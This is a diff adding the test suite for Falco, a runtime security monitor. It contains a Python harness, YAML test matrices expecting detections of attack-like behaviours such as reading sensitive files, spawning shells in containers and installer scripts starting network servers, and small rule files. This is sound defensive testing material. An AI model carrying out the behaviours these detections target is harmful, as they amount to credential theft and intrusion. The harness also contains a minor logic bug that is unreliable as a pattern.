+                self.fail("Detected {} events when should have detected > 0".format(events_detected))
+
+            for level in self.detect_level:
+                level_line = '(?i){}: (\d+)'.format(level)
+                match = re.search(level_line, res.stdout)
+
+                if match is None:
+                    self.fail("Could not find a line '{}: <count>' in falco output".format(level))
+
+                    events_detected = int(match.group(1))
+
+                    if not events_detected > 0:
+                        self.fail("Detected {} events at level {} when should have detected > 0".format(events_detected, level))
+
+    def check_detections_by_rule(self, res):
+        # Get the number of events detected for each rule. Must match the expected counts.
+        match = re.search('Triggered rules by rule name:(.*)', res.stdout, re.DOTALL)
+        if match is None:
+            self.fail("Could not find a block 'Triggered rules by rule name: ...' in falco output")
+
+        triggered_rules = match.group(1)
+
+        for rule, count in self.detect_counts.iteritems():
+            expected = '{}: (\d+)'.format(rule)
+            match = re.search(expected, triggered_rules)
+
+            if match is None:
+                actual_count = 0
+            else:
+                actual_count = int(match.group(1))
+
+            if actual_count != count:
+                self.fail("Different counts for rule {}: expected={}, actual={}".format(rule, count, actual_count))
+            else:
+                self.log.debug("Found expected count for rule {}: {}".format(rule, count))
+
+    def check_outputs(self):
+        for output in self.outputs:
+            # Open the provided file and match each line against the
+            # regex in line.
+            file = open(output['file'], 'r')
+            found = False
+            for line in file:
+                match = re.search(output['line'], line)
+
+                if match is not None:
+                    found = True
+
+            if found == False:
+                self.fail("Could not find a line '{}' in file '{}'".format(output['line'], output['file']))
+
+        return True
+
+    def check_json_output(self, res):
+        if self.json_output:
+            # Just verify that any lines starting with '{' are valid json objects.
+            # Doesn't do any deep inspection of the contents.
+            for line in res.stdout.splitlines():
+                if line.startswith('{'):
+                    obj = json.loads(line)
+                    for attr in ['time', 'rule', 'priority', 'output']:
+                        if not attr in obj:
+                            self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
+
+    def install_package(self):
+
+        if self.package.startswith("docker:"):
+
+            image = self.package.split(":", 1)[1]
+            # Remove an existing falco-test container first. Note we don't check the output--docker rm
+            # doesn't have an -i equivalent.
+            res = process.run("docker rm falco-test", ignore_status=True)
+            rules_dir = os.path.abspath(os.path.join(self.basedir, "./rules"))
+            conf_dir = os.path.abspath(os.path.join(self.basedir, "../"))
+            traces_dir = os.path.abspath(os.path.join(self.basedir, "./trace_files"))
+            self.falco_binary_path = "docker run -i -t --name falco-test --privileged " \
+                                     "-v {}:/host/rules -v {}:/host/conf -v {}:/host/traces " \
+                                     "-v /var/run/docker.sock:/host/var/run/docker.sock " \
+                                     "-v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro " \
+                                     "-v /lib/modules:/host/lib/modules:ro -v {}:/root/.sysdig:ro -v " \
+                                     "/usr:/host/usr:ro {} {} falco".format(
+                                         rules_dir, conf_dir, traces_dir,
+                                         self.module_dir, self.addl_docker_run_args, image)
+
+        elif self.package.endswith(".deb"):
+            self.falco_binary_path = '/usr/bin/falco';
+
+            package_glob = "{}/{}".format(self.falcodir, self.package)
+
+            matches = glob.glob(package_glob)
+
+            if len(matches) != 1:
+                self.fail("Package path {} did not match exactly 1 file. Instead it matched: {}", package_glob, ",".join(matches))
+
+            package_path = matches[0]
+
+            cmdline = "dpkg -i {}".format(package_path)
+            self.log.debug("Installing debian package via \"{}\"".format(cmdline))
+            res = process.run(cmdline, timeout=120, sudo=True)
+
+    def uninstall_package(self):
+
+        if self.package.startswith("docker:"):
+            # Remove the falco-test image. Here we *do* check the return value
+            res = process.run("docker rm falco-test")
+
+        elif self.package.endswith(".deb"):
+            cmdline = "dpkg -r falco"
+            self.log.debug("Uninstalling debian package via \"{}\"".format(cmdline))
+            res = process.run(cmdline, timeout=120, sudo=True)
+
+    def possibly_copy_driver(self):
+        # Remove the contents of ~/.sysdig regardless of
+        # copy_local_driver.
+        self.log.debug("Checking for module dir {}".format(self.module_dir))
+        if os.path.isdir(self.module_dir):
+            self.log.info("Removing files below directory {}".format(self.module_dir))
+            for rmfile in glob.glob(self.module_dir + "/*"):
+                self.log.debug("Removing file {}".format(rmfile))
+                os.remove(rmfile)
+
+        if self.copy_local_driver:
+            verstr = subprocess.check_output([self.falco_binary_path, "--version"]).rstrip()
+            self.log.info("verstr {}".format(verstr))
+            falco_version = verstr.split(" ")[2]
+            self.log.info("falco_version {}".format(falco_version))
+            arch = subprocess.check_output(["uname", "-m"]).rstrip()
+            self.log.info("arch {}".format(arch))
+            kernel_release = subprocess.check_output(["uname", "-r"]).rstrip()
+            self.log.info("kernel release {}".format(kernel_release))
+
+            # sysdig-probe-loader has a more comprehensive set of ways to
+            # find the config hash. We only look at /boot/config-<kernel release>
+            md5_output = subprocess.check_output(["md5sum", "/boot/config-{}".format(kernel_release)]).rstrip()
+            config_hash = md5_output.split(" ")[0]
+
+            probe_filename = "falco-probe-{}-{}-{}-{}.ko".format(falco_version, arch, kernel_release, config_hash)
+            driver_path = os.path.join(self.falcodir, "driver", "falco-probe.ko")
+            module_path = os.path.join(self.module_dir, probe_filename)
+            self.log.debug("Copying {} to {}".format(driver_path, module_path))
+            shutil.copyfile(driver_path, module_path)
+
+    def test(self):
+        self.log.info("Trace file %s", self.trace_file)
+
+        self.falco_binary_path = '{}/userspace/falco/falco'.format(self.falcodir)
+
+        self.possibly_copy_driver()
+
+        if self.package != 'None':
+            # This sets falco_binary_path as a side-effect.
+            self.install_package()
+
+        trace_arg = self.trace_file
+
+        if self.trace_file:
+            trace_arg = "-e {}".format(self.trace_file)
+
+        # Run falco
+        cmd = '{} {} {} -c {} {} -o json_output={} -v'.format(
+            self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output)
+
+        for tag in self.disable_tags:
+            cmd += ' -T {}'.format(tag)
+
+        for tag in self.run_tags:
+            cmd += ' -t {}'.format(tag)
+
+        if self.run_duration:
+            cmd += ' -M {}'.format(self.run_duration)
+
+        self.falco_proc = process.SubProcess(cmd)
+
+        res = self.falco_proc.run(timeout=180, sig=9)
+
+        if self.stderr_contains != '':
+            match = re.search(self.stderr_contains, res.stderr)
+            if match is None:
+                self.fail("Stderr of falco process did not contain content matching {}".format(self.stderr_contains))
+
+        if self.stdout_contains != '':
+            match = re.search(self.stdout_contains, res.stdout)
+            if match is None:
+                self.fail("Stdout of falco process '{}' did not contain content matching {}".format(res.stdout, self.stdout_contains))
+
+        if res.exit_status != self.exit_status:
+            self.error("Falco command \"{}\" exited with unexpected return value {} (!= {})".format(
+                cmd, res.exit_status, self.exit_status))
+
+        # No need to check any outputs if the falco process exited abnormally.
+        if res.exit_status != 0:
+            return
+
+        self.check_rules_warnings(res)
+        if len(self.rules_events) > 0:
+            self.check_rules_events(res)
+        self.check_detections(res)
+        if len(self.detect_counts) > 0:
+            self.check_detections_by_rule(res)
+        self.check_json_output(res)
+        self.check_outputs()
+        pass
+
+
+if __name__ == "__main__":
+    main()

test/falco_tests.yaml

@@ -0,0 +1,581 @@
+trace_files: !mux
+
+  docker_package:
+    package: docker:sysdig/falco:test
+    detect: True
+    detect_level: WARNING
+    rules_file: /host/rules/rule_names_with_spaces.yaml
+    trace_file: /host/traces/cat_write.scap
+    conf_file: /host/conf/falco.yaml
+
+  # This uses a volume mount to overwrite and prevent /usr/sbin/dkms
+  # from being run. As a result, it will force falco-probe-loader to
+  # fall back to loading the driver from ~/.sysdig. Setting
+  # copy_local_driver to True copied the driver to ~/.sysdig, so it
+  # will be available. In this case, we're running live for 5 seconds
+  # just to see if falco can load the driver.
+
+  docker_package_local_driver:
+    package: docker:sysdig/falco:test
+    addl_docker_run_args: -v /dev/null:/usr/sbin/dkms
+    copy_local_driver: True
+    detect: False
+    detect_level: WARNING
+    rules_file: /host/rules/tagged_rules.yaml
+    conf_file: /host/conf/falco.yaml
+    run_duration: 5
+
+  debian_package:
+    package: falco*.deb
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/rule_names_with_spaces.yaml
+    trace_file: trace_files/cat_write.scap
+
+  builtin_rules_no_warnings:
+    detect: False
+    trace_file: trace_files/empty.scap
+    rules_warning: False
+
+  test_warnings:
+    detect: False
+    trace_file: trace_files/empty.scap
+    rules_file: rules/falco_rules_warnings.yaml
+    rules_warning:
+      - no_evttype
+      - evttype_not_equals
+      - leading_not
+      - not_equals_at_end
+      - not_at_end
+      - not_before_trailing_evttype
+      - not_equals_before_trailing_evttype
+      - not_equals_and_not
+      - not_equals_before_in
+      - not_before_in
+      - not_in_before_in
+      - leading_in_not_equals_before_evttype
+      - leading_in_not_equals_at_evttype
+      - not_with_evttypes
+      - not_with_evttypes_addl
+      - not_equals_before_evttype
+      - not_equals_before_in_evttype
+      - not_before_evttype
+      - not_before_evttype_using_in
+    rules_events:
+      - no_warnings: [execve]
+      - no_evttype: [all]
+      - evttype_not_equals: [all]
+      - leading_not: [all]
+      - not_equals_after_evttype: [execve]
+      - not_after_evttype: [execve]
+      - leading_trailing_evttypes: [execve,open]
+      - leading_multtrailing_evttypes: [connect,execve,open]
+      - leading_multtrailing_evttypes_using_in: [connect,execve,open]
+      - not_equals_at_end: [all]
+      - not_at_end: [all]
+      - not_before_trailing_evttype: [all]
+      - not_equals_before_trailing_evttype: [all]
+      - not_equals_and_not: [all]
+      - not_equals_before_in: [all]
+      - not_before_in: [all]
+      - not_in_before_in: [all]
+      - evttype_in: [execve,open]
+      - evttype_in_plus_trailing: [connect,execve,open]
+      - leading_in_not_equals_before_evttype: [all]
+      - leading_in_not_equals_at_evttype: [all]
+      - not_with_evttypes: [all]
+      - not_with_evttypes_addl: [all]
+      - not_equals_before_evttype: [all]
+      - not_equals_before_in_evttype: [all]
+      - not_before_evttype: [all]
+      - not_before_evttype_using_in: [all]
+      - repeated_evttypes: [open]
+      - repeated_evttypes_with_in: [open]
+      - repeated_evttypes_with_separate_in: [open]
+      - repeated_evttypes_with_mix: [open]
+
+  rule_names_with_spaces:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/rule_names_with_spaces.yaml
+    trace_file: trace_files/cat_write.scap
+
+  multiple_rules_first_empty:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/empty_rules.yaml
+      - rules/single_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
+  multiple_rules_last_empty:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/empty_rules.yaml
+    trace_file: trace_files/cat_write.scap
+
+  multiple_rules:
+    detect: True
+    detect_level:
+      - WARNING
+      - INFO
+      - ERROR
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/double_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
+  multiple_rules_overriding:
+    detect: False
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/override_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
+  macro_overriding:
+    detect: False
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/override_macro.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_overriding:
+    detect: False
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/override_list.yaml
+    trace_file: trace_files/cat_write.scap
+
+  nested_list_overriding:
+    detect: False
+    rules_file:
+      - rules/single_rule.yaml
+      - rules/override_nested_list.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_substring:
+    detect: False
+    rules_file:
+      - rules/list_substring.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_sub_front:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/list_sub_front.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_sub_mid:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/list_sub_mid.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_sub_end:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/list_sub_end.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_sub_bare:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/list_sub_bare.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_sub_whitespace:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/list_sub_whitespace.yaml
+    trace_file: trace_files/cat_write.scap
+
+  list_order:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/list_order.yaml
+    trace_file: trace_files/cat_write.scap
+
+  macro_order:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/macro_order.yaml
+    trace_file: trace_files/cat_write.scap
+
+  rule_order:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/rule_order.yaml
+    trace_file: trace_files/cat_write.scap
+
+  invalid_rule_output:
+    exit_status: 1
+    stderr_contains: "Runtime error: Error loading rules:.* Invalid output format 'An open was seen %not_a_real_field': 'invalid formatting token not_a_real_field'. Exiting."
+    rules_file:
+      - rules/invalid_rule_output.yaml
+    trace_file: trace_files/cat_write.scap
+
+  disabled_rules:
+    detect: False
+    rules_file:
+      - rules/empty_rules.yaml
+      - rules/single_rule.yaml
+    disabled_rules:
+      - open_from_cat
+    trace_file: trace_files/cat_write.scap
+
+  disabled_rules_using_regex:
+    detect: False
+    rules_file:
+      - rules/empty_rules.yaml
+      - rules/single_rule.yaml
+    disabled_rules:
+      - "open.*"
+    trace_file: trace_files/cat_write.scap
+
+  disabled_rules_using_enabled_flag:
+    detect: False
+    rules_file:
+      - rules/single_rule_enabled_flag.yaml
+    trace_file: trace_files/cat_write.scap
+
+  disabled_and_enabled_rules_1:
+    exit_status: 1
+    stderr_contains: "Runtime error: You can not specify both disabled .-D/-T. and enabled .-t. rules. Exiting."
+    disable_tags: [a]
+    run_tags: [a]
+    rules_file:
+      - rules/single_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
+  disabled_and_enabled_rules_2:
+    exit_status: 1
+    stderr_contains: "Runtime error: You can not specify both disabled .-D/-T. and enabled .-t. rules. Exiting."
+    disabled_rules:
+      - "open.*"
+    run_tags: [a]
+    rules_file:
+      - rules/single_rule.yaml
+    trace_file: trace_files/cat_write.scap
+
+  null_output_field:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/null_output_field.yaml
+    trace_file: trace_files/cat_write.scap
+    stdout_contains: "Warning An open was seen .cport=<NA> command=cat /dev/null."
+
+  file_output:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/single_rule.yaml
+    conf_file: confs/file_output.yaml
+    trace_file: trace_files/cat_write.scap
+    outputs:
+      - /tmp/falco_outputs/file_output.txt: Warning An open was seen
+
+  program_output:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/single_rule.yaml
+    conf_file: confs/program_output.yaml
+    trace_file: trace_files/cat_write.scap
+    outputs:
+      - /tmp/falco_outputs/program_output.txt: Warning An open was seen
+
+  detect_counts:
+    detect: True
+    detect_level: WARNING
+    trace_file: traces-positive/falco-event-generator.scap
+    detect_counts:
+      - "Write below binary dir": 1
+      - "Read sensitive file untrusted": 3
+      - "Run shell in container": 1
+      - "Write below rpm database": 1
+      - "Write below etc": 1
+      - "System procs network activity": 1
+      - "Mkdir binary dirs": 1
+      - "System user interactive": 1
+      - "DB program spawned process": 1
+      - "Non sudo setuid": 1
+      - "Create files below dev": 1
+      - "Modify binary dirs": 2
+      - "Change thread namespace": 2
+
+  disabled_tags_a:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    disable_tags: [a]
+    detect_counts:
+      - open_1: 0
+      - open_2: 1
+      - open_3: 1
+      - open_4: 0
+      - open_5: 0
+      - open_6: 1
+      - open_7: 0
+      - open_8: 0
+      - open_9: 0
+      - open_10: 0
+      - open_11: 1
+      - open_12: 1
+      - open_13: 1
+
+  disabled_tags_b:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    disable_tags: [b]
+    detect_counts:
+      - open_1: 1
+      - open_2: 0
+      - open_3: 1
+      - open_4: 0
+      - open_5: 1
+      - open_6: 0
+      - open_7: 0
+      - open_8: 0
+      - open_9: 1
+      - open_10: 0
+      - open_11: 1
+      - open_12: 1
+      - open_13: 1
+
+  disabled_tags_c:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    disable_tags: [c]
+    detect_counts:
+      - open_1: 1
+      - open_2: 1
+      - open_3: 0
+      - open_4: 1
+      - open_5: 0
+      - open_6: 0
+      - open_7: 0
+      - open_8: 1
+      - open_9: 0
+      - open_10: 0
+      - open_11: 1
+      - open_12: 1
+      - open_13: 1
+
+  disabled_tags_ab:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    disable_tags: [a, b]
+    detect_counts:
+      - open_1: 0
+      - open_2: 0
+      - open_3: 1
+      - open_4: 0
+      - open_5: 0
+      - open_6: 0
+      - open_7: 0
+      - open_8: 0
+      - open_9: 0
+      - open_10: 0
+      - open_11: 1
+      - open_12: 1
+      - open_13: 1
+
+  disabled_tags_abc:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    disable_tags: [a, b, c]
+    detect_counts:
+      - open_1: 0
+      - open_2: 0
+      - open_3: 0
+      - open_4: 0
+      - open_5: 0
+      - open_6: 0
+      - open_7: 0
+      - open_8: 0
+      - open_9: 0
+      - open_10: 0
+      - open_11: 1
+      - open_12: 1
+      - open_13: 1
+
+  run_tags_a:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    run_tags: [a]
+    detect_counts:
+      - open_1: 1
+      - open_2: 0
+      - open_3: 0
+      - open_4: 1
+      - open_5: 1
+      - open_6: 0
+      - open_7: 1
+      - open_8: 1
+      - open_9: 1
+      - open_10: 1
+      - open_11: 0
+      - open_12: 0
+      - open_13: 0
+
+  run_tags_b:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    run_tags: [b]
+    detect_counts:
+      - open_1: 0
+      - open_2: 1
+      - open_3: 0
+      - open_4: 1
+      - open_5: 0
+      - open_6: 1
+      - open_7: 1
+      - open_8: 1
+      - open_9: 0
+      - open_10: 1
+      - open_11: 0
+      - open_12: 0
+      - open_13: 0
+
+  run_tags_c:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    run_tags: [c]
+    detect_counts:
+      - open_1: 0
+      - open_2: 0
+      - open_3: 1
+      - open_4: 0
+      - open_5: 1
+      - open_6: 1
+      - open_7: 1
+      - open_8: 0
+      - open_9: 1
+      - open_10: 1
+      - open_11: 0
+      - open_12: 0
+      - open_13: 0
+
+  run_tags_ab:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    run_tags: [a, b]
+    detect_counts:
+      - open_1: 1
+      - open_2: 1
+      - open_3: 0
+      - open_4: 1
+      - open_5: 1
+      - open_6: 1
+      - open_7: 1
+      - open_8: 1
+      - open_9: 1
+      - open_10: 1
+      - open_11: 0
+      - open_12: 0
+      - open_13: 0
+
+  run_tags_bc:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    run_tags: [b, c]
+    detect_counts:
+      - open_1: 0
+      - open_2: 1
+      - open_3: 1
+      - open_4: 1
+      - open_5: 1
+      - open_6: 1
+      - open_7: 1
+      - open_8: 1
+      - open_9: 1
+      - open_10: 1
+      - open_11: 0
+      - open_12: 0
+      - open_13: 0
+
+  run_tags_abc:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    run_tags: [a, b, c]
+    detect_counts:
+      - open_1: 1
+      - open_2: 1
+      - open_3: 1
+      - open_4: 1
+      - open_5: 1
+      - open_6: 1
+      - open_7: 1
+      - open_8: 1
+      - open_9: 1
+      - open_10: 1
+      - open_11: 0
+      - open_12: 0
+      - open_13: 0
+
+  run_tags_d:
+    detect: True
+    detect_level: WARNING
+    rules_file:
+      - rules/tagged_rules.yaml
+    trace_file: trace_files/open-multiple-files.scap
+    run_tags: [d]
+    detect_counts:
+      - open_1: 0
+      - open_2: 0
+      - open_3: 0
+      - open_4: 0
+      - open_5: 0
+      - open_6: 0
+      - open_7: 0
+      - open_8: 0
+      - open_9: 0
+      - open_10: 0
+      - open_11: 1
+      - open_12: 0
+      - open_13: 0

test/falco_traces.yaml.in

@@ -0,0 +1,203 @@
+has_json_output: !mux
+  yes:
+    json_output: True
+  no:
+    json_output: False
+
+traces: !mux
+  change-thread-namespace:
+    trace_file: traces-positive/change-thread-namespace.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "Change thread namespace": 2
+
+  container-privileged:
+    trace_file: traces-positive/container-privileged.scap
+    detect: True
+    detect_level: INFO
+    detect_counts:
+      - "Launch Privileged Container": 1
+
+  container-sensitive-mount:
+    trace_file: traces-positive/container-sensitive-mount.scap
+    detect: True
+    detect_level: INFO
+    detect_counts:
+      - "Launch Sensitive Mount Container": 1
+
+  create-files-below-dev:
+    trace_file: traces-positive/create-files-below-dev.scap
+    detect: True
+    detect_level: ERROR
+    detect_counts:
+      - "Create files below dev": 1
+
+  db-program-spawned-process:
+    trace_file: traces-positive/db-program-spawned-process.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "DB program spawned process": 1
+
+  falco-event-generator:
+    trace_file: traces-positive/falco-event-generator.scap
+    detect: True
+    detect_level: [ERROR, WARNING, INFO, NOTICE]
+    detect_counts:
+      - "Write below binary dir": 1
+      - "Read sensitive file untrusted": 3
+      - "Run shell in container": 1
+      - "Write below rpm database": 1
+      - "Write below etc": 1
+      - "System procs network activity": 1
+      - "Mkdir binary dirs": 1
+      - "System user interactive": 1
+      - "DB program spawned process": 1
+      - "Non sudo setuid": 1
+      - "Create files below dev": 1
+      - "Modify binary dirs": 2
+      - "Change thread namespace": 2
+
+  installer-fbash-manages-service:
+    trace_file: traces-info/installer-fbash-manages-service.scap
+    detect: True
+    detect_level: INFO
+    detect_counts:
+      - "Installer bash manages service": 4
+
+  installer-bash-non-https-connection:
+    trace_file: traces-positive/installer-bash-non-https-connection.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "Installer bash non https connection": 1
+
+  installer-fbash-runs-pkgmgmt:
+    trace_file: traces-info/installer-fbash-runs-pkgmgmt.scap
+    detect: True
+    detect_level: [NOTICE, INFO]
+    detect_counts:
+      - "Installer bash runs pkgmgmt program": 4
+      - "Installer bash non https connection": 4
+
+  installer-bash-starts-network-server:
+    trace_file: traces-positive/installer-bash-starts-network-server.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "Installer bash starts network server": 2
+      - "Installer bash non https connection": 3
+
+  installer-bash-starts-session:
+    trace_file: traces-positive/installer-bash-starts-session.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "Installer bash starts session": 1
+      - "Installer bash non https connection": 3
+
+  mkdir-binary-dirs:
+    trace_file: traces-positive/mkdir-binary-dirs.scap
+    detect: True
+    detect_level: ERROR
+    detect_counts:
+      - "Mkdir binary dirs": 1
+
+  modify-binary-dirs:
+    trace_file: traces-positive/modify-binary-dirs.scap
+    detect: True
+    detect_level: ERROR
+    detect_counts:
+      - "Modify binary dirs": 1
+
+  modify-package-repo-list-installer:
+    trace_file: traces-info/modify-package-repo-list-installer.scap
+    detect: True
+    detect_level: INFO
+    detect_counts:
+      - "Write below etc in installer": 1
+
+  non-sudo-setuid:
+    trace_file: traces-positive/non-sudo-setuid.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "Non sudo setuid": 1
+
+  read-sensitive-file-after-startup:
+    trace_file: traces-positive/read-sensitive-file-after-startup.scap
+    detect: True
+    detect_level: WARNING
+    detect_counts:
+      - "Read sensitive file untrusted": 1
+
+  read-sensitive-file-untrusted:
+    trace_file: traces-positive/read-sensitive-file-untrusted.scap
+    detect: True
+    detect_level: WARNING
+    detect_counts:
+      - "Read sensitive file untrusted": 1
+
+  run-shell-untrusted:
+    trace_file: traces-positive/run-shell-untrusted.scap
+    detect: True
+    detect_level: DEBUG
+    detect_counts:
+      - "Run shell untrusted": 1
+
+  shell-in-container:
+    trace_file: traces-positive/shell-in-container.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "Run shell in container": 1
+
+  system-binaries-network-activity:
+    trace_file: traces-positive/system-binaries-network-activity.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "System procs network activity": 1
+
+  system-user-interactive:
+    trace_file: traces-positive/system-user-interactive.scap
+    detect: True
+    detect_level: INFO
+    detect_counts:
+      - "System user interactive": 1
+
+  user-mgmt-binaries:
+    trace_file: traces-positive/user-mgmt-binaries.scap
+    detect: True
+    detect_level: NOTICE
+    detect_counts:
+      - "User mgmt binaries": 1
+
+  write-binary-dir:
+    trace_file: traces-positive/write-binary-dir.scap
+    detect: True
+    detect_level: ERROR
+    detect_counts:
+      - "Write below binary dir": 4
+
+  write-etc:
+    trace_file: traces-positive/write-etc.scap
+    detect: True
+    detect_level: ERROR
+    detect_counts:
+      - "Write below etc": 1
+
+  write-etc-installer:
+    trace_file: traces-info/write-etc-installer.scap
+    detect: True
+    detect_level: INFO
+    detect_counts:
+      - "Write below etc in installer": 1
+
+  write-rpm-database:
+    trace_file: traces-positive/write-rpm-database.scap
+    detect: True
+    detect_level: ERROR
+    detect_counts:
+      - "Write below rpm database": 1

test/plot-live.r

@@ -0,0 +1,52 @@
+require(jsonlite)
+library(ggplot2)
+library(GetoptLong)
+
+initial.options <- commandArgs(trailingOnly = FALSE)
+file.arg.name <- "--file="
+script.name <- sub(file.arg.name, "", initial.options[grep(file.arg.name, initial.options)])
+script.basename <- dirname(script.name)
+
+if (substr(script.basename, 1, 1) != '/') {
+    script.basename = paste(getwd(), script.basename, sep='/')
+}
+
+results = paste(script.basename, "results.json", sep='/')
+output = "./output.png"
+metric = "cpu"
+
+GetoptLong(
+    "results=s", "Path to results file",
+    "benchmark=s", "Benchmark from results file to graph",
+    "variant=s@", "Variant(s) to include in graph. Can be specified multiple times",
+    "output=s", "Output graph file",
+    "metric=s", "Metric to graph. Can be one of (cpu|drops)"
+)
+
+if (metric == "cpu") {
+    data_metric="cpu_usage"
+    yaxis_label="CPU Usage (%)"
+    title="Falco/Sysdig/Multimatch CPU Usage: %s"
+} else if (metric == "drops") {
+    data_metric="drop_pct"
+    yaxis_label="Event Drops (%)"
+    title="Falco/Sysdig/Multimatch Event Drops: %s"
+}
+
+res <- fromJSON(results, flatten=TRUE)
+
+res2 = res[res$benchmark == benchmark & res$variant %in% variant,]
+
+plot <- ggplot(data=res2, aes(x=sample, y=get(data_metric), group=variant, colour=variant)) +
+    geom_line() +
+    ylab(yaxis_label) +
+    xlab("Time") +
+    ggtitle(sprintf(title, benchmark))
+    theme(legend.position=c(.2, .88));
+
+print(paste("Writing graph to", output, sep=" "))
+ggsave(file=output)
+
+
+
+

test/plot-traces.r

@@ -0,0 +1,35 @@
+require(jsonlite)
+library(ggplot2)
+library(reshape)
+
+res <- fromJSON("/home/mstemm/results.txt", flatten=TRUE)
+
+plot <- ggplot(data=res, aes(x=config, y=elapsed.real)) +
+    geom_bar(stat = "summary", fun.y = "mean") +
+    coord_flip() +
+    facet_grid(shortfile ~ .) +
+    ylab("Wall Clock Time (sec)") +
+    xlab("Trace File/Program")
+
+
+ggsave(file="/mnt/sf_mstemm/res-real.png")
+
+plot <- ggplot(data=res, aes(x=config, y=elapsed.user)) +
+    geom_bar(stat = "summary", fun.y = "mean") +
+    coord_flip() +
+    facet_grid(shortfile ~ .) +
+    ylab("User Time (sec)") +
+    xlab("Trace File/Program")
+
+
+ggsave(file="/mnt/sf_mstemm/res-user.png")
+
+res2 <- melt(res, id.vars = c("config", "shortfile"), measure.vars = c("elapsed.sys", "elapsed.user"))
+plot <- ggplot(data=res2, aes(x=config, y=value, fill=variable, order=variable)) +
+     geom_bar(stat = "summary", fun.y = "mean") +
+     coord_flip() +
+     facet_grid(shortfile ~ .) +
+     ylab("User/System Time (sec)") +
+     xlab("Trace File/Program")
+
+ggsave(file="/mnt/sf_mstemm/res-sys-user.png")

test/rules/double_rule.yaml

@@ -0,0 +1,13 @@
+# This ruleset depends on the is_cat macro defined in single_rule.yaml
+
+- rule: exec_from_cat
+  desc: A process named cat does execve
+  condition: evt.type=execve and is_cat
+  output: "An exec was seen (command=%proc.cmdline)"
+  priority: ERROR
+
+- rule: access_from_cat
+  desc: A process named cat does an access
+  condition: evt.type=access and is_cat
+  output: "An access was seen (command=%proc.cmdline)"
+  priority: INFO

test/rules/falco_rules_warnings.yaml

@@ -0,0 +1,186 @@
+- rule: no_warnings
+  desc: Rule with no warnings
+  condition: evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: no_evttype
+  desc: No evttype at all
+  condition: proc.name=foo
+  output: "None"
+  priority: WARNING
+
+- rule: evttype_not_equals
+  desc: Using != for event type
+  condition: evt.type!=execve
+  output: "None"
+  priority: WARNING
+
+- rule: leading_not
+  desc: condition starts with not
+  condition: not evt.type=execve
+  output: "None"
+  priority: WARNING
+
+- rule: not_equals_after_evttype
+  desc: != after evt.type, not affecting results
+  condition: evt.type=execve and proc.name!=foo
+  output: "None"
+  priority: WARNING
+
+- rule: not_after_evttype
+  desc: not operator after evt.type, not affecting results
+  condition: evt.type=execve and not proc.name=foo
+  output: "None"
+  priority: WARNING
+
